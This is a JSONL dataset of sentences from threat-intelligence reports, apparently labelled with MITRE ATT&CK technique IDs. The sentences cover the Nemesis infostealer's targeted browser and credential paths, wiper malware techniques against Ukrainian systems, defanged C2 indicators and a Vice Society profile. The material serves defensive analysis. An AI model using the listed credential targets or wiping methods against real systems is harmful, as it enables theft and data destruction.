{"sentence": "Browsers include: “\\\\Chromium\\\\User Data\\\\”, “\\\\Google\\\\Chrome\\\\User Data\\\\”, “\\\\Google(x86)\\\\Chrome\\\\User Data\\\\”, “\\\\Opera Software\\\\”, “\\\\MapleStudio\\\\ChromePlus\\\\User Data\\\\”, “\\\\Iridium\\\\User Data\\\\”, “\\\\7Star\\\\7Star\\\\User Data\\\\”, “\\\\CentBrowser\\\\User Data\\\\”, “\\\\Chedot\\\\User Data\\\\”, “\\\\Vivaldi\\\\User Data\\\\”, “\\\\Kometa\\\\User Data\\\\”, “\\\\Elements Browser\\\\User Data\\\\”, “\\\\Epic Privacy Browser\\\\User Data\\\\”, “\\\\Microsoft\\\\Edge\\\\User Data\\\\”, “\\\\uCozMedia\\\\Uran\\\\User Data\\\\”, “\\\\Fenrir Inc\\\\Sleipnir5\\\\setting\\\\modules\\\\ChromiumViewer\\\\”, “\\\\CatalinaGroup\\\\Citrio\\\\User Data\\\\”, “\\\\Coowon\\\\Coowon\\\\User Data\\\\”, “\\\\liebao\\\\User Data\\\\”, “\\\\QIP Surf\\\\User Data\\\\”, “\\\\Orbitum\\\\User Data\\\\”, “\\\\Comodo\\\\Dragon\\\\User Data\\\\”, “\\\\Amigo\\\\User\\\\User Data\\\\”, “\\\\Torch\\\\User Data\\\\”, “\\\\Yandex\\\\YandexBrowser\\\\User Data\\\\”, “\\\\Comodo\\\\User Data\\\\”, “\\\\360Browser\\\\Browser\\\\User Data\\\\”, “\\\\Maxthon3\\\\User Data\\\\”, “\\\\K-Melon\\\\User Data\\\\”, “\\\\Sputnik\\\\Sputnik\\\\User Data\\\\”, “\\\\Nichrome\\\\User Data\\\\”, “\\\\CocCoc\\\\Browser\\\\User Data\\\\”, “\\\\Uran\\\\User Data\\\\”, “\\\\Chromodo\\\\User Data\\\\”, “\\\\Mail.Ru\\\\Atom\\\\User", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Data\\\\”, “\\\\BraveSoftware\\\\Brave-Browser\\\\User Data\\\\” Gecko-based browsers: Steals stored credentials, cookies, bookmarks, and history.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Browsers include: “\\\\Mozilla\\\\Firefox”, “\\\\Comodo\\\\IceDragon”, “\\\\Mozilla\\\\SeaMonkey”, “\\\\Moonchild Productions\\\\Pale Moon”, “\\\\Waterfox”, “\\\\K-Meleon”, “\\\\Thunderbird”, “\\\\8pecxstudios\\\\Cyberfox”, “\\\\NETGATE Technologies\\\\BlackHaw” CryptoWallet data from browser extensions MetaMask, TronLink, and Binance Clipboard data The following data collection tasks are then all set to run in parallel. CryptoWallets on disk from apps including: Electrum, Electrum-Dash, Ethereum, Exodus, Atomic, Jaxx, Coinomi, Guarda, Armory, Zcash, Bytecoin System info, including both hardware and OS info.", "labels": ["T1057", "T1082"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Enumerates running processes Enumerates IDs from Steam application Enumerates files under Steam application directory Gets a list of installed browsers by looping through entries under registry key SOFTWARE\\\\Clients\\\\StartMenuInternet and SOFTWARE\\\\WOW6432Node\\\\Clients\\\\StartMenuInternet, and then recording the contents of subkey shell\\\\open\\\\command for each.", "labels": ["T1012", "T1057", "T1083"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Enumerate files on desktop Discord Tokens FoxMail data DynDNS credentials FileZilla connection credentials + hosts.", "labels": ["T1083"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "NordVPN credentials OpenVPN files KerioVPN files Proton VPN credentials User-agents Pidgin credentials Telegram data files Telegram portable files RDP connection files (.rdp)", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The malware then collates all the data and adds it to a Zip archive which it then transfers back to the C2.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Fig 7 — Nemesis waits for data collection tasks to complete, then adds the data to a zip archive to be sent to the C2 Fig 8 — Nemesis uploads data to the C2 via a HTTP POST request The C2 address for the analysed sample is https[:]//es-megadom[.]com Fig 9 — Nemesis Configuration A Tangled Web Provides Opportunities This analysis highlights the intricate relationships between cybercriminal groups and their members.", "labels": ["T1005", "T1071.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino Backdoor shares code overlap with the Lizar (aka Tirion, Diceloader) family of malware, developed by ITG14.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Since late February 2023, former members of ITG23 have been observed using Dave Loader with Domino Backdoor during their campaigns, suggesting at least some level of collaboration between the two groups.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The use of malware with ties to multiple groups in a single campaign — such as Dave Loader, Domino Backdoor and Project Nemesis Infostealer — highlights the complexity involved in tracking threat actors but also provides insight into how and with whom they operate.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Indicators of Compromise Indicator Indicator Type Context de9b3c01991e357a349083f0db6af3e782f15e981e2bf0a16ba618252585923a SHA256 Hash Dave Loader / Domino Backdoor b14ab379ff43c7382c1aa881b2be39275c1594954746ef58f6a9a3535e8dc1a8 SHA256 Hash Dave Loader / Domino Backdoor dbdfc3ca5afa186c1a9a9c03129773f7bc17fb7988fe0ca40fc3c5bedb201978 SHA256 Hash Dave Loader /Domino", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Backdoor ce99b4c0d75811ce70610d39b1007f99560e6dea887a451e08916a4f8cf33678 SHA256 Hash Dave Loader /Domino", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Backdoor f1817665ea2831f775e23cbda27cbeb06d03e6c39bbfad920b50f40712dd37cb SHA256 Hash NewWorldOrder Loader / Carbanak Backdoor 51e0512a54640be8e3477363c8d72d893c6edd20399bddf71e95eec3ddfdb42e SHA256 Hash NewWorldOrder Loader / Carbanak Backdoor f4ebd59fb578a0184abf6870fc652210d63e078a35dace0a48c5f273e417c13d SHA256 Hash NewWorldOrder Loader / Domino Backdoor 92651f9418625e5281b84cccb817e94e6294b36c949b00fcd4046770b87f10e4 SHA256 Hash NewWorldOrder Loader / Domino Backdoor e5af0b9f4650dc0193c9884507e6202b04bb87ac5ed261be3f4ecfa3b6911af8 SHA256 Hash Domino Backdoor hxxp://170.130.55[.]250/x64.exe URL Staging URL for Domino Backdoor hxxps://upperdunk[.]com/mr64.exe URL Staging URL for Domino Backdoor 88.119.175[.]124 IP Address Domino Backdoor C2 94.158.247[.]72 IP Address Domino Backdoor C2 178.23.190[.]73 IP Address Carbanak C2 es-megadom[.]com Domain Project Nemesis C2 185.225.17[.]202 IP Address Domino Backdoor C2 5.182.37[.]118 IP Address Domino Backdoor C2 45.67.34[.]236 IP Address Project Nemesis C2 Scroll to view full table To learn how IBM X-Force can help you with anything regarding cybersecurity including incident response, threat intelligence, or offensive security services schedule a meeting here: IBM X-Force Scheduler If you are experiencing cybersecurity issues or an incident, contact X-Force to help: US hotline 1-888-241-9812 Global hotline (+001) 312-212-8034.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The post Ex-Conti and FIN7 Actors Collaborate with New Domino Backdoor appeared first on Security Intelligence.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Executive summary 2022 has experienced an increase in the number of wiper variants targeting Ukrainian entities.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This blog post looks to explain how wipers work, what makes them so effective and provides a short overview of the most recent samples that appeared in the eastern Europe geopolitical conflict.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "How does wiper malware work?", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Wiper’s main objective is to destroy data from any storage device and make the information unavailable (T1485).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "There are two ways of removing files, logical and physical.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Logical file removal is the most common way of erasing a file, performed by users daily when a file is sent to (and emptied from) the Recycle bin, or when it is removed with the command line or terminal with the commands del/rm.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This action deletes the pointer to the file but not the file data, making it recoverable with forensic tools as long as the Operative System does not write any other file in the same physical location.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "However, malware wipers aim to make the data irrecoverable, so they tend to remove the data from the physical level of the disk.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The most effective way to remove the data/file is by overwriting the specific physical location with other data (usually a repeated byte like 0xFF).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This process usually involves writing to disk several Gigabytes (or Terabytes) of data and can be time consuming.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "For this reason, in addition to destroying the data, many wipers first destroy two special files in the system: The Master Boot Record (MBR), which is used during the boot process to identify where the Operative System is stored in the disk.", "labels": ["T1082"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "By replacing the MBR, the boot process crashes, making the files inaccessible unless forensic methodologies are used.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The Master File Table (MFT) is exclusive to NTFS file systems, contains the physical location of files in the drive as well as logical and physical size and any associated metadata.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "If big files need to be stored in the drive, and cannot use consecutive blocks, these files will have to be fragmented in the disk.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The MFT holds the information of where each fragment is stored.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Removing the MFT will require the use of forensic tools to recover small files, and basically prevents recovery of fragmented files since the link between fragments is lost.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The main difference between wipers and ransomware is that it’s impossible to retrieve the impacted information after a wiper attack.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Attackers using wipers do not usually target financial reward but intend to disrupt the victim’s operations as much as possible.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Ransomware operators aim to get a payment in exchange for the key to decrypt the user’s data.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "With both wiper and ransomware attacks, the victim depends on their back up system to recover after an attack.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "However, even some wiper attacks carry ransom notes requesting a payment to recover the data.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "It is important that the victim properly identifies the attack they've suffered, or they may pay the ransom without any chance of retrieving the lost data.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In the last month and a half, since the war started in Eastern Europe, several wipers have been used in parallel with DDoS attacks (T1499) to keep financial institutions and government organizations, mainly Ukrainian, inaccessible for extended periods of time.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Some of the wipers observed in this timeframe have been: WhisperKill, HermeticWiper, IsaacWiper, CaddyWiper, DoubleZero Wiper and AcidRain.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Most recent wiper examples WhisperKill On January 14, 2022, the Ukrainian government experienced a coordinated attack on 22 of their government agencies, defacing their websites.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Almost all the compromised websites were developed by the same Ukranian IT company, Kitsoft, and all of them were built on OctoberCMS.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Therefore, the attack vector was most probably a supply chain attack on the IT provider, or an exploitation of an OctoberCMS vulnerability, combined with exploitations of Log4Shell vulnerability (T1190).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Example of defaced Ukrainian government website.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In addition to the website defacement, Microsoft Threat Intelligence Center (MSTIC), identified in a report destructive malware samples targeting Ukrainian organizations with two malware samples.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Microsoft named the samples WhisperGate, while other security companies labeled the downloader as WhisperGate and WhisperKill as the actual wiper, which was considered a component of WhisperGate.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The identified files were: Stage1 replaces the Master Boot Record (MBR) with a ransom note when the system is powered down, deeming the machine unbootable after that point.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "When booted up, the system displays Figure 2 on screen.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Despite the ransom request, the data will not be recoverable since all efforts made by WhisperKill are looking to destroy data, not encrypt it.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In this case, the wallet is most probably an attempt to decoy attribution efforts.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Ransom note obtained by MSTIC.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Stage 2 attempts to download the next stage malware (T1102.003) from the Discord app, if unsuccessful, it sleeps and tries again.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The payload downloaded from the messaging app destroys as much data as possible by overwriting certain file types with 0xCC for the first MB of the file.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Then it modifies the file extension to a random four-byte extension.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "By selecting the file types to be wiped and only writing over the first MB of data, the attackers are optimizing the wiping process.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This is due to not wasting time on system files and only spending the necessary time to wipe each file, rapidly switching to the next file as soon as the current one is unrecoverable.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Finally, the malware executes a command to delete itself from the system (T1070.004).", "labels": ["T1070.004"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "HermeticWiper A month after, on February 23rd 2022, ESET Research reported a new Wiper being used against hundreds of Ukrainian systems.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The wiper receives its name from the stolen certificate (T1588.003) it was using to bypass security controls “Hermetica Digital Ltd” (T1588.003).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "According to a Reuters article, the certificate could have also been obtained by impersonating the company and requesting a certificate from scratch.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Hermetica Digital Ltd certificate.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The attackers have been seen using several methods to distribute the wiper through the domain, like: domain Group Policy Object (GPO) (T1484.001), Impacket or SMB (T1021.002) and WMI (T1047) with an additional worm component named HermeticWizard.", "labels": ["T1047", "T1484.001"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The wiper component first installs the payload as a service (T1569.002) under C:\\Windows\\system32\\Drivers\\. Afterwards, the service corrupts the first 512 bytes of the MBR of all the Physical Drives, and then enumerates their partitions.", "labels": ["T1083", "T1543.003"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Before attempting to overwrite as much data as the wiper can it will delete key files in the partition, like MFT, $Bitmap, $LogFile, the NTUSER registry hive (T1112) and the event logs (T1070.001).", "labels": ["T1070.004"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "On top of deleting key file system structures, it also performs a drive fragmentation (breaking up files and segregating them in the drive to optimize the system’s performance).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The combination of the file fragmentation and the deletion of the MFT makes file recovery difficult, since files will be scattered through the drive in small parts - without any guidance as to where each part is located.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Finally, the malware writes randomized contents into all occupied sectors in the partition in an attempt to remove all potential hope of recovering any data with forensic tools or procedures.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "IsaacWiper A day after the initial destructive attack with HermeticWiper, on February 24th, 2022, a new wiper was used against the Ukrainian government, as reported by ESET, without any significant similarities to the HermaticWiper used the day before.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "IsaacWiper identifies all the physical drives not containing the Operative System and locks their logical partitions by only allowing a single thread to access each of them.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Then it starts to write random data into the drives in chunks of 64 KB.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "There is a unique thread per volume, making the wiping process very long.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Once the rest of the physical drives and the logical partitions sharing physical drive with the Operative System’s volume have been wiped, this last volume is wiped by: Erasing the MBR.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Overwriting all files with 64 KB chunks of random data with one thread.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Creating a new file under the C drive which will be filled with random data until it takes the maximum space it can from the partition, overwriting the already overwritten existing files.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This process is performed with a different thread, but it would still take a long time to write the full partition since both concurrent threads are actually attempting to write random data on the full disk. Figure 4.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "IsaacWiper strings.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "When comparing IsaacWiper to WhisperKill, the attackers’ priorities become clear.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "WhisperKill creators prioritized speed and number of affected files over ensuring the full drive is overwritten, since only 1 MB of each file was overwritten.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "On the other hand, IsaacWiper creators gave total priority to deliver the most effective wiper, no matter how long it takes to overwrite the full physical disk.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "AcidRain On the same day IsaacWiper was deployed, another wiper attacked Viasat KA-SAT modems in Ukraine, this time with a different wiper, named AcidRain by SentinelLABS.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This wiper was particularly aimed at modems, probably to disrupt Internet access from Ukraine.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This new wiper showed similarities to previously seen botnets targeting modems using VPNFilter.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "It was used in 2018, targeting vulnerabilities in several common router brands:", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Linksys, MikroTik, NETGEAR, and TP-Link.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Exploiting vulnerabilities allowed the attackers to obtain Initial Access inside all types of networks, where the bot would search for Modbus traffic to identify infected systems with Industrial Control Systems (ICS).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The wiper used was the ELF MIPS wiper targeting Viasat KA-SAT modems, which aimed to firstly overwrite any file outside of the any common *nix installation: bin, boot, dev, lib, proc, sbin, sys, sur, etc. to then delete data from /dev/. CaddyWiper The first version of CaddyWiper was discovered by ESET researchers on 2022-03-14 when it was used against a Ukrainian bank.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This new wiper variant does not have any significant code similarities to previous wipers.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This sample specifically sets an exclusion to avoid infecting Domain Controllers in the infected system.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Afterwards, it targets C:/Users and any additional attached drive all the way to letter Z:/ and zeroes all the files present in such folders/drives.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Finally, the extended information of the physical drives is destroyed, including the MBR and partition entries.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "A variant of CaddyWiper was used again on 2022-04-08 14:58 against high-voltage electrical substations in Ukraine.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "This latest version of the wiper was delivered together with Industroyer2, an evolution of Industroyer, which has the main functionn being to communicate with industrial equipment.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In this case, the wiper was used with the purpose of slowing down the recovery process from the Industroyer2 attack and gaining back control of the ICS consoles, as well as covering the tracks of the attack.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "According to Welivesecurity, who have been cooperating with CERT-UA in this investigation, the Sandworm Team is behind this latest attack.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In this same attack against the energy station in Ukraine, other wiper samples for Linux and Solaris were observed by WeliveSecurity.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "These wipers leverage the shred command if present, otherwise they use the basic dd or rm commands to wipe the system.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "DoubleZero wiper On March 22, 2022 CERT-UA reported a new wiper used against their infrastructure and enterprises.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Named DoubleZero, the wiper was distributed as a ZIP file containing an obfuscated .NET program.", "labels": ["T1027"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The wiper’s routine sets a hardcoded list of system directories, which are skipped during an initial wiping targeting user files.", "labels": ["T1083"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Afterwards, the skipped system directories are targeted and finally the registry hives: HKEY_LOCAL_MACHINE (containing the hives Sam, Security, Software and System), HKEY_CURRENT_USER and HKEY_USERS.", "labels": ["T1083"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "There are two wiping methods, both of which zero out the selected file.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "DoubleZero first wiping function.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Conclusion As we have seen in the examples above, the main objective of the attackers behind wipers is to destroy all possible data and render systems unbootable (if possible), potentially requiring a full system restore if backups aren’t available.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "These malware attacks can be as disruptive as ransomware attacks, but wipers are arguably worse since there is no potential escape door of a payment to recover the data.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "There are plenty of ways to wipe systems.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "We've looked at 6 different wiper samples observed targeting Ukranian entities.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "These samples approach the attack in very different ways, and most of them occur faster than the time required to respond.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "For that reason, it is not effective to employ detection of wiper malware, as once they are in the system as it is already too late.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The best approach against wipers is to prevent attacks by keeping systems up to date and by increasing cybersecurity awareness.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "In addition, consequences can be ameliorated by having periodic backup copies of key infrastructure available.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Associated indicators (IOCs)", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "The following technical indicators are associated with the reported intelligence.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "A list of indicators is also available in the following OTX Pulses: WhisperKill HermeticWiper and IsaacWiper AcidRain CaddyWiper DoubleZero Please note, the pulses may include other activities related but out of the scope of the report.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "TYPE INDICATOR DESCRIPTION SHA256 a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 WhisperKill (stage1.exe) SHA256 dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 WhisperKill (stage2.exe) SHA256 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da HermeticWiper SHA256 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 HermeticWiper SHA256 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033 IsaacWiper SHA256 9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a AcidRain SHA256 47f521bd6be19f823bfd3a72d851d6f3440a6c4cc3d940190bdc9b6dd53a83d6 AcidRain SHA256 Fc0e6f2effbfa287217b8930ab55b7a77bb86dbd923c0e8150551627138c9caa CaddyWiper SHA256 7062403bccacc7c0b84d27987b204777f6078319c3f4caa361581825c1a94e87 Industroyer2 SHA256 3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe DoubleZero SHA256 30b3cbe8817ed75d8221059e4be35d5624bd6b5dc921d4991a7adc4c3eb5de4a DoubleZero Mapped to MITRE ATT&CK The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques: TA0001: Initial Access T1190: Exploit Public-Facing Application TA0002", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": ": Execution T1047: Windows Management Instrumentation T1569: System Services T1569.002:", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Service Execution TA0008: Lateral Movement T1021:", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Remote Services T1021.002: SMB/Windows Admin Shares TA0005: Defense Evasion T1070: Indicator Removal on Host T1070.004:", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "File Deletion T1070.001: Clear Windows Event Logs T1112: Modify Registry T1484: Domain Policy Modification T1484.001:", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Group Policy Modification TA0011: Command and Control T1102: Web Service T1102.003: One-Way Communication TA0040: Impact T1485: Data Destruction T1499: Endpoint Denial of Service TA0042: Resource Development T1588: Obtain Capabilities T1588.003: Code Signing Certificates", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"}
{"sentence": "Vice Society:", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Profiling a Persistent Threat to the Education Sector url: https://unit42.paloaltonetworks.com/vice-society-targets-education-sector/ Executive Summary Vice Society is a ransomware gang that has been involved in high-profile activity against schools this year.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Unlike many other ransomware groups such as LockBit that follow a typical ransomware-as-a-service (RaaS) model, Vice Society’s operations are different in that they’ve been known for using forks of pre-existing ransomware families in their attack chain that are sold on DarkWeb marketplaces.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "These include the HelloKitty (aka FiveHands) and Zeppelin strains of ransomware as opposed to Vice Society developing their own custom payload.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In September 2022, a joint Cybersecurity Advisory (CSA) from the FBI, CISA and the MS-ISAC declared they had recently observed Vice Society actors disproportionately targeting the education sector with ransomware attacks.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The CSA continued that attacks could increase as the 2022-23 school year begins and criminal ransomware groups perceive opportunities for successful attacks.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society first surfaced in the summer of 2021, and in that time frame it was seen exploiting the CVE-2021-34527 (aka PrintNightmare) vulnerability as part of their attack chain.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The gang is also known to target backups and exfiltrate data from compromised systems to be leveraged for the purpose of double extortion, a common ransomware operation tactic where victims are pressured to pay a specified ransom amount in exchange for decryption and to avoid having sensitive data published on the attacker’s dedicated leak site.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
